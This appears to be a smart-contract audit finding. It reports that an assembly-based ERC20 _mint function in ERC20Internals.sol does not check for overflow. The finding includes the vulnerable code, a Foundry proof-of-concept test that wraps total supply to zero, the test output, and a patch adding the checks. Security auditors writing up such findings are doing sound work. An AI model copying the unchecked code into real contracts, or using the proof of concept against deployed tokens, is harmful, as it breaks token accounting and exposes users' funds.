Description
In a standard ERC20 implementation, the _mint function should verify that adding new tokens does not cause the total supply or account balance to overflow beyond type(uint256).max. If an overflow would occur, the function should revert.
The _mint function in ERC20Internals.sol does not check for overflow when adding to totalSupply or account balances. Since inline assembly bypasses Solidity 0.8.x's built-in overflow protection, the values can silently wrap around, causing the total supply to become a small number (or zero) despite large amounts of tokens existing.
function _mint(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0xec442f05))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
sstore(supplySlot, add(supply, value))
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
sstore(accountBalanceSlot, add(accountBalance, value))
}
}
Risk
Likelihood: Low-Medium
-
Requires a derived contract to expose _mint functionality (as it's internal)
-
Reaching overflow requires minting near type(uint256).max tokens
-
However, tokens with small decimals or multiple mint calls can accumulate to overflow
Impact: High
-
Total supply overflows to zero or a small value while actual balances exist
-
Complete breakdown of token accounting invariant: totalSupply == sum(balances)
-
DeFi protocols relying on totalSupply() for calculations will malfunction
-
Price oracles and automated market makers may be exploited
Proof of Concept
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract MintOverflowExploit is Test {
Token public token;
function setUp() public {
token = new Token();
}
function test_Mint_Overflow() public {
address alice = makeAddr("alice");
token.mint(alice, type(uint256).max);
assertEq(token.totalSupply(), type(uint256).max);
token.mint(alice, 1);
console.log("Total supply after overflow:", token.totalSupply());
assertEq(token.totalSupply(), 0);
console.log("Alice balance:", token.balanceOf(alice));
assertEq(token.balanceOf(alice), 0);
}
function test_Mint_Overflow_PartialWrap() public {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
token.mint(alice, type(uint256).max - 100);
token.mint(bob, 200);
console.log("Total supply:", token.totalSupply());
assertEq(token.totalSupply(), 99);
console.log("Alice balance:", token.balanceOf(alice));
console.log("Bob balance:", token.balanceOf(bob));
}
}
Test Output:
[PASS] test_Mint_Overflow() (gas: 46274)
Logs:
Total supply after overflow: 0
Note: The same overflow vulnerability exists in _transfer for the receiver's balance (add(toAmount, value)), though exploiting it requires first triggering another vulnerability (H-01, H-02) to achieve a near-max balance.
Recommended Mitigation
Add overflow checks before performing the additions:
function _mint(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0xec442f05))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
+ let newSupply := add(supply, value)
+
+ // Check for overflow: if newSupply < supply, overflow occurred
+ if lt(newSupply, supply) {
+ // revert with Panic(0x11) - arithmetic overflow
+ mstore(0x00, shl(224, 0x4e487b71))
+ mstore(0x04, 0x11)
+ revert(0x00, 0x24)
+ }
- sstore(supplySlot, add(supply, value))
+ sstore(supplySlot, newSupply)
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
- sstore(accountBalanceSlot, add(accountBalance, value))
+ let newBalance := add(accountBalance, value)
+
+ // Check for overflow
+ if lt(newBalance, accountBalance) {
+ mstore(0x00, shl(224, 0x4e487b71))
+ mstore(0x04, 0x11)
+ revert(0x00, 0x24)
+ }
+ sstore(accountBalanceSlot, newBalance)
+
+ // Emit Transfer event from address(0) per ERC20 standard
+ mstore(ptr, value)
+ log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x00, account)
}
}